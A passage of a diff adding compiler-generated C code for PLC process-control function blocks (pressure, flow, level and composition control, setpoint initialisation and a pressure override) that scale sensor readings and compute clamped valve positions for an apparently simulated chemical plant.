(UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,65535,retain) + __INIT_VAR(data__->PRESS_SP_C,65535,retain) + __INIT_VAR(data__->OVER_SP_C,65535,retain) + __INIT_VAR(data__->LEVEL_SP_C,65535,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->INPUT_UINT,0,retain) + __INIT_VAR(data__->OUTPUT_INT,0,retain) + __INIT_VAR(data__->DIV3_OUT,0,retain) + __INIT_VAR(data__->ABS8_OUT,0,retain) + __INIT_VAR(data__->UINT_TO_INT9_OUT,0,retain) +} + +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV3_OUT,,DIV__UINT__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->INPUT_UINT,), + (UINT)2)); + __SET_VAR(data__->,ABS8_OUT,,ABS__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->DIV3_OUT,))); + __SET_VAR(data__->,UINT_TO_INT9_OUT,,UINT_TO_INT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->ABS8_OUT,))); + __SET_VAR(data__->,OUTPUT_INT,,__GET_VAR(data__->UINT_TO_INT9_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_SIGNED_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE92_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE92_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED1,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED2,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED3,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED4,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED5,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED6,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED7,retain); + 